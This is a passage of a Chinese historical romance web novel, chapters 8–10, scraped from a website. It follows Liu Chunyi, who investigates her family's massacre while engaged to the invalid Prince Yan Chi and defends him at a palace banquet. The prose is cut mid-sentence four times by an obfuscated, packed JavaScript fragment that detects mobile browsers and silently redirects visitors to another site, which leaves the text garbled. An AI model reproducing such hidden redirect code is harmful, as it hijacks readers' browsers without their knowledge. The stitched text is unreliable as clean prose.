所有人都围了上来,一人一句问个不停,木槿从人群中挤上前,蹲下身检查柳春意的伤处。 柳春意拉起木槿,对着其他人道:“无碍,不必担心。” 虽说对她来说不算什么,毕竟更严重的伤她也受过,但是她可不会以折磨自己为乐。 众人也不听她话,带着她走到马车旁边。 马车里闷闷的,她不喜欢。 “小姐无需陪着我们,快快上马车罢。” 许是他们动静太大,燕池掀开牖帘,恰好和外面被架着满脸不情愿的柳春意对视。 他没什么表情的移开视线,扫向其他人。 众人顿时一哄而散,只余柳春意和木槿留在原地。 燕池收回手,牖帘落下再次遮住马车里的景象。 整个过程一语不发。 更不想进马车了,她怕她忍不住拿匕首杀了他。 “既不适,便上车罢。” 燕池话音清冽,似负雪苍山,原应浸着冷意,却偏偏因其话语添了一丝暖意。 虚伪。 马车行驶的极慢,柳春意单手撑着车辕借力坐了上去,并跟驾马的云琼打了一声招呼。 柳春意扬声对着马车里的人说道:“我和云琼小兄弟坐在这里就好了,不打扰王爷清静。” 无人回应她。 行至京都,已至黑夜。 闲王府的管家在外等候多时,马车停下后,他几乎是瞬间走到跟前。 他年届五旬,身形清瘦,鬓边泛白,岁月在他脸上留下痕迹,依稀能够从那双亮晶晶的眼里窥见少时风姿。 他殷勤地扶着燕池下马车,安置他坐上轮椅。 一把鼻涕一把泪地道:“老奴盼东盼西,总算把王爷盼来了,王爷今年身体可还舒适?” 燕池不同于以往那般冷淡,嘴角微扬,露出一抹很浅的笑,安抚道:“无碍。” 管家:“无碍就好……无碍就好,老奴推着王爷罢。” 管家推了一下没推动。 云琼上前,温声道:“我来罢。” 管家挠挠头,不太好意思地说:“老了,如今倒连轮椅都推不动了。” 他姓赵名思书,自小就在皇宫里,因办事利落被拨去先微生贵妃殿里做些小活。他做事认真,从不肯敷衍,不曾想竟遭人嫉恨,险些丧命,好在得微生贵妃庇护,提拔至其身边。 可惜天妒红颜,微生贵妃去世时,燕池年仅五岁,因先天弱症与皇位无缘,常受人辱骂。 他奉先帝之命照顾燕池,也算是看着燕池长大的。 从襁褓婴儿到如今的八尺男儿。 也不知,他死前能否看到燕池结亲。 赵思书低头叹了口气,抬头时两个女子背影映入眼眸。 他眼神一亮。 赵思书趋步上前,问道:“两位姑娘是?” 木槿规规矩矩地行了一个礼,答道:“回管家,我们小姐是辞阳柳氏柳满城之女柳春意,按先帝旨意与闲王完婚。” 柳春意微微颔首道:“管家安好。” 赵思书满意的点点头,燕池因身份原因不能娶贵门之女为妻,他也不求其他什么,只希望燕池能够寻得一人幸福地携手度过一生。 赵思书躬身拱手,慈和地道:“老奴见过柳小姐,问柳小姐安。老奴姓赵,小姐若需什么,只管吩咐老奴。” 三人一同进入府邸。 赵思书引着主仆二人前往客房。 等到周围亮光熄灭,柳春意悄悄的离开客房。 她进来时看过,大概是不想引起怀疑,他府邸的护卫大多在外围,内围只有少数人。 躲掉他们对柳春意来说轻轻松松。 她不了解闲王府,只记住了从大门到客房的路,只可惜客房的位置很偏,离哪里都很远。 景府中的毒名曰软骨散,是百年前朝廷为了抵制江湖势力研制出的毒,无色无味难以察觉。中毒者在服下大剂量软骨散的一个时辰后全身无力无法动弹,而小剂量多次服用则会引起智力问题,形如痴傻。 除掉江湖势力后,太医院永久封存此药方,谁曾想在先帝掌政期间,太医院突发大火,药方全部烧成灰烬。 原来,是精心策划的。 可药方为何会落于燕池之手? 想着想着,她已经躲过侍卫,潜入王府腹地。 她顺着路躲在柱子后。 “殿下,太后母族……” 殿下?! 她是竟到燕池的寝殿了。 柳春意隐住身形,侧耳倾听,屋里传来的声音很小,幸得她耳朵好,能听个大概。 “喵~”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17058978|194960||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 头顶传来猫叫声,柳春意身体一僵。 她少时出门巧遇一只被马车压伤的猫,心生怜悯,想要救助它。 待她靠近,猫却突然暴起,狠狠地抓了她脖子一下。 血,很多的血,顺着她的脖子流下。 现在回想,她脑海中只有一个“疼”字。 她内心祈祷:“别过来,别过来……” 偏偏事事不如意。 猫跳下屋顶,卧在柳春意前面,舌头轻舔自己的前爪,眼睛却看向柳春意。 黑色的皮毛,绿色的瞳孔,和那只猫一模一样! “喵呜~” 黑猫缓步靠近柳春意。 柳春意尽量不发出声音,压下内心惊恐,悄悄往后退。 她全神贯注地盯着猫的动向,却没注意到自己越来越接近水池。 “扑通”一声,柳春意脚下一空跌入水池。 这下可坏了! “谁!” 屋内侍卫喝道。 那个侍卫推着燕池出来,两人一眼便看到刚从水池里站起身的柳春意。 燕池手支在推手上,指节抵着腮侧,冷然的视线来回扫视柳春意。 简直是耻辱! 柳春意避开燕池视线,无意瞟过侍卫的脸。 她定睛仔细一看。 ? 竟是那个在辞阳施粥的少年! 燕池语气不善:“柳二小姐来此,所为何事?” 柳春意面上赔笑,讪讪道:“王爷安好。” 燕池对着她的方向招了下手。 柳春意没明白。 卧在她身侧的猫却有了动静,轻盈地跳到燕池身上。 燕池漫不经心地抚摸它,黑猫发出舒适的呼噜声。 “解释。若不,便杀了。” 燕池眼都没抬,冷淡地抛出这一句话。 更大的“咕噜”声响起,柳春意尴尬地捂住肚子。 声音很小的说:“我饿了,去膳房找吃的。” 燕池啧了一声,“是想留着力气和阎王解释?” 柳春意放大声音:“我说我饿了!想去膳房找吃的!无意路过此处!” 燕池抬眸又扫她两眼,目光里尽是嫌弃,他没再说话。 身后的云盛开口:“柳二小姐莫要再找,闲王府从不开小灶。” 柳春意的肚子又不争气地“咕咕”叫了两声。 柳春意不满道:“闲王把我从辞阳带到京都,就是为了活活饿死我吗?” 她直视燕池,眼底带着毫不掩饰的诘问和愠怒。 燕池平静地注视着她,柳春意理直气壮地回视。 燕池率先收回视线,对着云盛吩咐道:“备些吃食,送去给她。” 云盛领命,走到落汤鸡柳春意面前,伸出手。 两个人大眼对小眼。 云盛提醒:“买吃食是要银子的柳二小姐。” 柳春意歪头询问燕池:“我们不是一家人吗?王爷总不至于不愿给我花银子罢。如今若是银子都不愿为我花,之后我的命是不是也要随意让别人拿去?” 云盛眼睛瞪大,来回看两人。 嗯?他终于知道为什么他当时问云琼柳二小姐怎么样,云琼那一言难尽的表情是什么意思了。 太大胆了吧,他第一次见如此能说的小姐。 柳春意吵的人头疼,燕池对云盛说:“记本王账上。” 云盛领命离开。 燕池临走时丢下一句话:“在京都安分一些,这里和辞阳不同。” 柳春意:“哦。” 8. 进宫 云盛提着食盒敲响客房门。 柳春意开门接过,谢道:“有劳,多谢。” 她打开食盒,故作惊讶地“哇”了一声。 “我头一次见到如此精致的吃食,小兄弟是在何处购得的?” 云盛稍一欠身,答道:“这些都是从珍馐记买来的,小姐慢用,在下先行告退。” 柳春意朝他摆摆手,提着吃食进屋。 她的确饿了,刚才好在肚子争气,非常有眼力见。 否则,燕池不会轻易相信她的。 软骨散现世,她不信凶手只会用它对付景府,凶手一定是有特殊的方式贩卖软骨散的。 而酒楼,无疑是一个极好的卖药地点。 珍馐记…… 如若她未曾记错的话,这家酒楼是今年一月时才开业的。 贵人家外出购物,往往是去自己最熟悉的地方。 说不定珍馐记是闲王的产业。 待到明晚,一探究竟。 食毕,柳春意吹灭蜡烛。 客房前也设有一个水池,水池中央叠石成山,泉水顺着小山流下,山水相映,甚有意趣。 柳春意上榻,透过窗户空隙,盯着水上倒影。 那不是单单是山的倒影,还有人的。 有人在外面守着她。 当下最稳妥的方式就是待在房间里不要外出,可柳春意偏不。 她知道客房最西侧有一个废弃后门,她可以从那边翻出来。 说做就做,柳春意俯下身子,走到盯梢之人视线不及之处,这边刚好有一个窗户。 夜色漫街,空无一人,唯有檐下灯笼与柳春意相伴。 京都权贵的府邸大多位于东街,南街则是京都最热闹的地方,北街直连皇宫,唯有西街,冷冷清清的。 永安侯府位于西街,这也是为什么火烧了一夜却无人察觉的原因。 柳春意远远地瞧见一片黑焦。 前不久它还是这条街上最热闹喜庆的…… 柳春意走到近处,永安侯府的牌匾已经烧的看不出原本模样。 两张大大长长的符咒封条交叉贴在朱门上。 如此讽刺。 柳春意绕到她最熟悉的地方翻墙进去。 按着时辰算,有问题的是晚间那场家宴,可家宴上都是熟人,究竟是谁下的毒? 燕池远在城关,他和景家的人如何联系起来的? 柳春意目前想不通。 她先行至膳房,膳房里乌漆麻黑的,白墙上覆盖着一层厚厚的烟灰,藤黄符纸贴的到处都是。 徒惹人心烦。 柳春意走着走着突然脚下一滑,似乎是踩到了什么东西。 她蹲下来摸索,捏起一颗小小的黑色珠子。 随意一撮,内里白色便显露出来了。 有些眼熟,可柳春意想不起来谁有这东西。 她将这个收获装进自己的香囊里。 转身走出膳房,在家里转了转。 哪里都是符纸,父母的屋子、大哥的屋子、二哥的屋子甚至他们连客房都未放过。 为国征战四十余年,换来如此下场。 可笑,可悲。 她最后走到自己的闺房。 檐角的鎏金雕花铜铃落在地上,柳春意将其捡起来。 十七年的回忆一幕幕在脑海里翻过,上天赐予她行医练武的天赋,赐给她宠爱儿女的父母以及疼爱妹妹的哥哥。 她顺风顺水的过了十六年,却在第十七年的生辰日上变得一无所有…… 父亲、母亲、大哥、二哥、以及我景府上下二百余人的仇,我会一刀一刀为你们讨回来的。 凉风拂过,柳春意手上的铜铃应风而响。 翌日清晨,木槿步履匆匆进屋。 柳春意在床榻上睡得安适,木槿抵在她耳边轻喊道:“小姐,快快起床,尚衣局派人来了。” 柳春意一向睡得浅,她坐起身来揉揉惺忪睡眼,回道:“去梳洗罢。” 待尚衣局量好尺寸离开,紧接着燕池就来了。 柳春意恰好用完早膳,木槿在她旁边叽叽喳喳说着,她脸上挂着淡淡的笑意,并未接话。 她似乎心情不好,看到燕池也只是语气不甚热络地道:“不知王爷有何贵干?” 燕池看出她的不对没有询问,通知道:“一刻后与本王同去皇宫。” 柳春意随意应了一声。 木槿伺候她换好衣服,柳春意坐上马车。 这次马车里倒是没有安排屏风,甚至添了软垫,暖暖和和的,斥退身上冷意。 柳春意第一次没有主动说话,靠着马车闭目养神。 再次睁眼,一个印着糕点铺子名字的食袋被递到她面前。 她看向燕池,后者一手拎着食袋,另一只手上仍旧拿着那个无题书,眼睛一动不动地看着。 柳春意没接。 燕池等了好一会儿,见她不做反应,直接把食袋放在她手上,整个过程没有看柳春意一眼,只是道:“谢礼。” 柳春意捏着手中食袋,下意识问道:“谢什么?” 他又不说话了。 柳春意打开食袋,虽说已用完早膳,但是她只觉嘴里盈满苦味,正需点心压压。 燕池余光瞟见柳春意吃下糕点,这才看进书里的字。 虽说她很烦人,但毕竟离家千里,想家难过也是常事。 柳春意咽下嘴里糕点,看向燕池冷淡的侧脸。 究竟是不是你? 亲王府距离皇宫还是很近的,未行多久便到了。 柳春意从云盛手里接过推手,笑着道:“我来罢。” 说罢,柳春意扭过头对燕池说:“别害怕,这次不会颠到你的。” 燕池敏感的捕捉到她话里的重点,侧头睨她,重复道:“这次?” 额…… 柳春意嘴上打哈哈,不愿再说话,推着燕池往前走。 云盛和木槿跟在他俩身后。 燕池此番回京,带来了国师曾说过能改变他气运的女子,这对皇帝和太后来讲是一个很大的变数。 太后举行的这场赏菊宴,醉翁之意不在酒。 燕池抬手示意柳春意低头,后者倾身。 燕池:“太后此番要往王府添人,你应知道要如何做。” 柳春意点头,脸上尽是坚定。 为他找他喜欢的,她懂。 燕池不太信她新奇的心思,说道:“说来本王听听。” 柳春意清了清嗓子,举起右手置于胸前,握着拳头,朗声道:“不睬太后意见,誓为王爷觅得良妻!” 她是民女,嫁与亲王只能为侧妃,说到底不过是个妾位。 可柳春意不在意,是妻是妾对她来讲都是一样的,她最终只会是她自己 听罢此言,燕池两眼一黑,无奈扶额。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17058979|194960||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身后的云盛“噗呲”一声笑了出来,木槿原学着自己小姐的动作,听到这声嘲笑,不满地瞪了云盛一眼,云盛低声道歉。 燕池压低嗓音,“休要胡言,你要教众人皆不敢近我。” 柳春意尴尬地收回手:“啊?哦。” 好丢人…… 柳春意今日身着一袭竹青绣菊织锦齐胸襦裙,外穿黛绿薄绒大袖披衫,发丝随意挽在左侧。面容姣好,不施粉黛,清丽脱俗。 燕池则身穿一件水绿色圆领衣袍,外搭雪白色披袄,因未及冠,头发仍是以玉簪半束着的。纵然穿的如此素净,也掩不住面上耀人绝色。 两人一同进入赏菊园,未置一词却瞬间抓住所有人的目光。 男子们交头接耳,询问柳春意的身份。 女子赞叹燕池长相,却无一不感叹他的身世。 “九弟,别来无恙啊。” 原本只是普通问候的话,可那人语气却带有戏弄之感,满是嘲意。 真是,好生讨厌呢。 柳春意嘴角勾着一抹淡笑,看向来人。 来人身着绛红绣金圆领衣袍,身披雪白狐裘。虽身形颀长,走来的气势却只想让人说一句肥头大耳,笨壮如猪,而且还穿金戴银,满身都是铜臭气。 周遭人都在给他行礼,一人一句:“安平王金安。” 安平王啊,她略有耳闻。 臭名昭著,劣迹斑斑,燕姓皇室的唯一败笔。 毕竟其余人无论品性如何,他们最起码知道掩饰,安平王可不,他总是随性而为,宛若恶霸,是清水混进去的墨滴。 安平王走到近处,挑衅地看着燕池,随意拱手,不甚在意地给燕池行礼,丝毫没把燕池放在眼里。 燕池却不同,他无视安平王的无礼,规规矩矩地拱手问安:“王兄安。” 气度自分高下。 柳春意按礼数给安平王行礼,“见过安平王,王爷安。” 安平王上下扫视柳春意,他的扫视和燕池不同,燕池的扫视其实更类似于审视,是压迫而安平王却像是流氓遇见民女,轻佻戏谑,招人嫌恶。 木槿下意识上前,被一旁的云盛制止。 低声警告道:“这里是皇宫。” 他们不能无令行事。 燕池将手放于推手下方的空隙处,朝后方云盛勾勾手指。 云盛这才上前,替燕池整理服饰,正好遮住安平王的视线。 柳春意眼底杀意一闪而过。 安平王不耐地皱起眉,嘴角绷着,很是不满。 他向来不会委屈自己,有什么说什么:“长了张狐媚脸不就是让人看的?闲王何必遮掩。” 那你长了个脖子不就是让我砍的?怎么不伸过来? 柳春意腹诽。 燕池刺道:“女眷面前当守分寸,王兄这般言语,怕是失了皇家颜面罢。” 安平王哼笑一声,嘲讽道:“论及有辱皇家颜面,贤弟在此,本王自不敢位列第一。” 安平王凑到燕池耳边,低声轻语:“你说对吧,小瘸子?” 他的话一字不落地被柳春意收入耳中。 安平王说完后退一步,站在原地哈哈大笑。 燕池面色未变,一副事不关己的样子,好似并不在意安平王的嘲讽。 柳春意却在背后看的清清楚楚,燕池背在身后的手在听到那三个字时骤然攥紧,青筋暴起,可想而知手的主人有多生气。 9. 出头 安平王眉梢高挑,话里带刺:“闲王得空与本王闲聊,不如好好想想该如何活过及冠之年罢。毕竟本王可不忍美人独守活寡啊,不过看在手足之情的份上,待你病逝,本王便勉为其难地帮你照顾照顾她罢。” 癞蛤蟆想吃天鹅肉! 因燕池得的病极其罕见,太医院众人皆束手无策,只道燕池活不过二十岁。 这也是为何当今陛下应允燕池一年归京一次,一来向外彰显兄友弟恭的皇室风范,二来方便查看闲王病情。 桥的另一边有人喊安平王的名字,看样子应该也是一位亲王。 安平王斜睨他们一眼,不屑地“哼”了一声,大步流星地朝那边走去。 看在糕点的面子上,勉为其难地替你出口气。 况且,安平王是真该死啊。 柳春意抬手拂过鬓边菊钗,垂落下来的珠子被她毫不费力地摘下,攥在手心。 珠子虽小,却足够滑。 柳春意调整珠子位置,让它位于指尖,大拇指用力将它弹出去。 珠子本身就小,加上速度快,一般人肉眼根本看不到。 她的动作极快,习武多年的云盛都未曾发觉。 柳春意推着燕池走到一个视野极佳的地方,方便观察安平王落水姿态。 想到等会儿要发生的事柳春意就想笑。 燕池不解地看了她一眼。 后者并不想解释。 她弹出来的那颗珠子不偏不倚落于桥中央。 只要安平王步伐不变,他必踩到珠子。 安平王活像是刚打了一场胜仗,趾高气昂地走在桥上,根本不注意脚下。 下一瞬! 他踩上珠子,脚底猛地一滑,他不受控制地向前栽去,周围的下人手忙脚乱地扶他,却因过于着急,两两相撞,都没扶住安平王,反而无意将他推下桥。 只听“扑通”一声巨响。 安平王直直落入水中,溅起巨大水花。 在他落下的地方缓缓飘起一顶墨色发套,他的光滑头顶先一步浮出水面,引得两边人惊呼,他们头一次知道安平王是个秃头顶。 哟,居然还挺在乎外表。 柳春意双手抱臂靠在轮椅旁边,俯身侧头看向燕池,话音含笑,自问自答道:“这叫什么?我想这就是自作孽不可活罢。让他欺负殿下,引得老天爷都看不下去了。” 燕池跟她那双含笑的眼睛对视,后者眼底尽是计谋得逞的狡黠。 安平王狼狈地在众人搀扶下上岸,举着两只手交叉放在头顶,企图挡住自己光滑的头顶。 他怒喊:“谁?!是谁搞的鬼!” 犹如莽夫,毫无半分皇室气概。 柳春意直起身,看向恨恨盯着燕池的安平王,语带担心道:“安平王走路怎得不知道看路,这回是失足落水,下回可不知要怎样了。” 柳春意视线移到那顶发套上,补充道:“这顶发套不甚牢固,安平王下次可得仔细挑选一番,免得头顶受凉,得上风寒就遭了。” 嬉笑声充斥于整个赏菊圃。 安平王老脸丢尽,怒目圆瞪,气急败坏地喊道:“你!” 他不能将柳春意怎么样,是他无礼在先,闹大于他而言并无好处。 站在看台上将这一幕尽收眼底的太子轻笑一声。 他视线停留在柳春意身上。 如此活泼能说之人与皇叔甚是相配,能为皇叔平淡的生活增添些趣味。 怕安平王继续找他们麻烦,太子燕昀派身旁侍卫请安平王上看台一叙。 太子请人,安平王总要去一去的。 “九皇叔!” 一声软糯娇甜的嗓音传来。 送走一个又来一个,柳春意只希望不是来找事的。 柳春意转头看向来人,来人一袭藕粉缕金莲纹齐胸襦裙,发髻上插着一只莲花步瑶,随着她的动作一步一摇。 她看着也就十五六岁,肤若凝脂,小脸圆润,娇美可爱,一看就是娇生贵养的小公主。 她一路跑向燕池,路过柳春意时无意撞在她肩上。 来人停下,扭头礼貌地道了声歉,眼睛在柳春意脸上停留一会儿,眼底略有惊艳意味。 “无事。” 柳春意后退一步给来人让出位置。 她认识来人,来人是当今五公主燕若星,活泼开朗,慧心妙笔,年年占得三清馆榜首,深受皇帝宠爱。 其实燕若星有一个不为人知的秘密,她私下里是写话本的,并且话本的男主角大多都是以燕池为原型的。 因为她真的很喜欢燕池那张脸!她写的女主角都是温婉可人那一种的,她非常希望燕池能够娶到她心里的那种妻子!两人琴瑟和鸣,安稳的共度余生,像话本里的那样。 燕若星绕着燕池转一圈,赞叹道:“九皇叔这一身好生气派。”今日写作素材又有了! 燕池每年都会收到燕若星一句这样类似的话,他淡淡点头。 燕若星也不在意他态度冷淡,满意地离开,走到柳春意面前,笑着道:“若本公主没猜错,你就是与九皇叔有婚约的柳氏女罢?” 柳春意躬身敛衽,微微屈膝,答道:“柳氏见过公主殿下,公主金安。” 燕若星扶起她,真心赞叹道:“你长得好生清丽,本公主甚是喜爱!” 没料到她会这样说,柳春意嘴角的笑僵在脸上,回道:“承蒙公主厚爱。” 不知为何,柳春意总感觉燕若星看她的眼神里夹杂着评判意味。 似乎她脑海里有一套专门用来归束柳春意的准则,柳春意很不喜欢。 他们来的较早,连皇帝太后在内还有许多人未到齐。 如今风里更添凉意,时时吹着,冻人的很。 原本柳春意还觉得安平王穿狐裘略有些憨,谁知今年京都冷得如此之早。木槿穿的薄,此刻还在颤抖。 柳春意推着燕池走进花圃旁边的亭子里。 亭子周围挂着挡风幔布,甫一进去,暖意扑面而来。 “闲王殿下,许久不见啊。” 相似的话语,相同的语气。 柳春意内心翻了个白眼,燕池是坏人诱捕机吗?谁都想来欺负一下。 柳春意看了一眼说话的人,她也认识。 好像是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17058980|194960||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么侯家的嫡子,京都典型的纨绔子弟。 柳春意瞟了眼他腰间玉牌,上面刻着昌平侯府四个字。 那人又道:“待宴散去,闲王殿下可要与我们一同去蹴鞠场打几局?” 他说罢,佯装刚想起来,不带歉意地道:“啊,抱歉啊殿下。我忘了,殿下玩不了蹴鞠,是肖某失言了。” 一个小小侯府嫡子,竟敢这样和皇室说话,活得不耐烦了罢。 燕池似是习惯了会有这一遭,眼都没抬一下。 燕若星张口就要回讽,却不想柳春意比她还快。 柳春意冷哼一声,站到燕池面前,抬眸凝视来人,讽道:“区区一个从三品侯府世子,胆敢如此嘲弄大雍亲王,你是不想要你的头了吗?” 燕池看着面前女子瘦小却又坚定的背影,记忆里的背影渐渐与其重合。 那人明显一顿,他辩驳道:“你……你少血口喷人!我何时嘲弄皇室了!” 柳春意回头问云盛:“你听到了吗?” 云盛双手抱胸,朗声道:“我听到了!” 柳春意又问木槿:“你听到了吗?” 木槿学着云盛那样,双手抱胸,更大声地道:“我也听到了。” 柳春意视线扫过燕若星,她其实并不准备问,公主注重礼仪言行,估摸着不会与他们胡闹。 谁曾想燕若星同样抱臂站立,扬声道:“我也听到了!肖思宇,你是不是活得不耐烦了!本公主在此,定不会让你欺辱我皇叔!快些道歉!” 肖思宇被扣上不敬皇室的罪名,他可担待不起,只得忍气吞声道歉:“是肖某失仪,无意冒犯,伏请闲王殿下恕罪。” 在以往,他们都以取笑闲王为乐,从未有人替闲王出过气,连当今圣上对此也都是睁一只眼闭一只眼的,谁曾想现在居然有人替他出头,早知如此肖思宇定不会第一个嘲讽闲王,原想着立立自己威风,却不想白白落人口舌。 柳春意手做喇叭状贴在耳边,清眸盛满疑色,故作疑惑道:“你说什么?大声一些,我听不清。” 他又重复一遍,声音更低了。 柳春意啧了一声,皱眉说道:“你今早没用膳吗?既如此不愿道歉,那不如你我同去御前禀明此事,我想陛下自有明断。” 肖思宇脸气的涨红,却不敢说出辩驳的话,硬着头皮大声道歉。 琢磨着亭里的人应当都听清了,柳春意满意地扭过头,对着燕池道:“不知闲王殿下对这个道歉是否满意呢?” 她眨眨眼睛,邀功意味十足,就差在脸上写“求夸”两个字了。 燕池压下嘴角笑意,轻轻颔首。 柳春意回头换上冷脸:“听到了吗?闲王殿下这次大发慈悲地原谅你了,以后莫要如此。” 经这一出,再无人敢上前取笑燕池。 柳春意闲适地赏起了花。 燕若星凑到她身边,一脸敬佩地看着她,“柳姑娘看着柔弱,嘴倒是很利落嘛,本公主更喜欢你了!自此以后,你就是本公主亲点的第一个知己了!” 也许,冷艳美人不一定要和温婉佳人配对,配柳春意那样的或许才更好。 10. 赐婚 待皇帝、太后以及众后妃驾临,众人依次入殿。 柳春意随燕池坐于天香殿东侧。 好在这里设置的全是高桌高凳,坐着轮椅的燕池也不算突兀。 自偏殿过来的安平王正正好坐在他们旁边。 路过两人时,他轻哼一声。 也不知谁给他的发套,头发高高束在头顶,原应意气风发,他戴上却奇怪得很,显得不伦不类。 柳春意笑着侧头看他,夸道:“安平王殿下当今头上的发套比上一个精良了许多。” 安平王不愿与她多言,装听不见。 开宴前的礼仪繁琐冗长,柳春意向来不喜这些,闲来无聊,她伸出手指顺着推手下的空隙戳燕池的腿。 她连戳十几下,燕池却连看都不看她一眼。 柳春意内心惊讶。 不是吧?他不是洁症严重吗?怎得不表示一下。 腰间隐隐传来拉力,燕池低头看去。 罪魁祸首懒散地以手支颌,另一只手不停地戳着他的腿,腰上挂着的穗子被她压在指下。 燕池曲指敲桌,跑神的柳春意瞬间回神,歪头看他。 燕池抿唇,低头看向自己的腿。 柳春意顺着他的视线向下,她另一只手的动作未停。 燕池伸手把自己的玉佩穗子从柳春意手上解救出来。 见她仍没有停下的意思,燕池皱眉看她。 柳春意一时没反应过来,木槿在后面都看不下去了。 她上前一步,凑到柳春意耳边,小声道:“小姐,你怎能戳王爷的腿呢?” 柳春意手僵在原地,缓缓曲起手指,嘴上尬笑两声。 她看向燕池被他戳的凹了进去的衣服,低声道歉:“殿下莫怪,是我唐突了。” 她想事情想的有些入迷,竟没注意到自己的手。 燕池垂头整理衣服,嘴上说道:“无妨。” 柳春意收回视线,脸上愁色渐显。 燕池自小不喜人触碰,往往会在第一时间制止别人的动作,可她戳了他那么久,他竟迟迟未察觉。 难道他的腿仍旧没有知觉吗? 那他的病究竟好了没有? 以及景府灭门之事,是不是他主谋的? 皇帝命人摆宴,宫人依次奉上酒水吃食。 柳春意捏起一块菊花糕放进嘴里。 她还未嚼几下,坐在主位上的皇帝发话了。 “你可是辞阳柳氏二女?” 柳春意囫囵咽下嘴里吃食。 真该死。 她起身回话:“民女辞阳柳氏二女柳春意,请陛下圣安。” 皇帝燕诚年近四旬,喜怒不定,昏庸无道,如若不是生母势力庞大,这个皇位是怎么都轮不到他坐的。 他嘴角牵起一丝和蔼的微笑,赞扬道:“辞阳柳氏医术高超,美名远传京都。看来吾弟之病,痊愈有望。” 柳春意看出他眼里的试探和担忧。 燕池本是先帝亲封的皇太子,却因病不得民心,无法担起治国大任。燕诚趁虚而入,夺权登基,得知燕池活不过二十岁,他并未杀死燕池。他对外营造出一副兄友弟恭的模样,其实他心底根本不希望燕池好过来。他要让燕池亲眼看看,登上帝位的究竟是谁,而燕池只能受病痛折磨,死在及冠那天。 柳春意当然明白。 她叹了口气,眼泪静静顺着眼眶滑落滴在桌子上。 燕池没料到她会哭,从怀里取出手帕,递到柳春意面前。 柳春意也没想到给她递帕子的是他。 两人短暂对视一眼,各自错开视线。 太后看着心急,忙问道:“为何落泪?” 柳春意轻拭脸上泪水,哽着声音答道:“回太后的话,柳氏虽在医术上较为突出,但民女一家对闲王之病实在是束手无策啊。民女有愧陛下信任。” 太后和皇上对视一眼,悬着的心放了下去。 燕诚轻叹口气可惜地道:“连你们都无法诊治,我的九弟该如何是好啊。九弟莫忧心,朕定会找到能治你病的人。” 燕池拱手:“陛下好意,臣弟心领了。” 燕诚怜惜地看着他,摇了下头,举起酒杯对着其余人道:“罢了,本不应提此事。今日君臣同乐,畅饮无妨!” 柳春意执杯抿了一口菊花酒。 甜香掺着菊香,甘醇带着苦调。 她从军时也喝过菊花酒,只是那时的菊花酒只有苦味。 席间乐声渐起,轻柔动听。 柳春意勉强在此寻得心安。 难听的嗓音打破东侧宁静。 安平王向燕诚进言:“素闻辞阳爱乐,城中无论男女老少皆擅长奏乐。不知吾等是否有幸听得柳氏女弹奏一曲。” 燕诚“哦”了一声,语气里盛满好奇。 柳春意知道她是逃不过这一劫了。 她遂要直起身,燕池执著横在她腿前,制止她的动作。 燕池拱手解释:“怕令陛下和安平王失望了。辞阳柳氏自十三岁起便昏迷不醒,纵是擅长音律,可经过两年昏睡,想来,怕是早已生疏,不宜圣听。” 燕诚大手一挥,直言道:“无碍。闲王不必忧心,朕不会处罚她的。” 若柳春意上前演奏,演奏的好了那就是燕池蒙蔽圣听,演奏的不好那就是在所有人面前给燕池丢脸。 如今,倒让她骑虎难下。 正想对策间,燕若星起身行礼,话里带着笑意:“父皇若真想听,不妨让女儿来演奏一曲罢。女儿前些天才学会一首辞阳民乐,正愁无暇为父皇抚奏呢。” 说罢,她看向柳春意,“不知辞阳柳氏可愿在一旁侧听。” 燕若星是燕诚最疼爱的女儿,向来是要什么给什么,说什么答应什么。 燕诚犹豫一瞬,最后道:“罢了,随你。” 柳春意随着燕若星一同前往奏乐地点。 消失在众人视线。 柳春意豪爽地拍了下燕若星的肩膀,说道:“谢了公主。” 她的手劲可大,燕若星吃痛地抚上肩膀。 柳春意见她表情不对,连忙给她按按肩,嘴上说着:“都怪我,手上没个轻重,公主殿下勿怒。” “好了好了,本公主说了,你是本公主的知己,我又怎会因这种事生气,不过……” 燕若星话音一顿,拉过柳春意的手臂,俯在她耳边道:“你能否仔细观察九皇叔的习性并 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17058981|194960||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 将其记录下来,每隔一月交于我一次。” 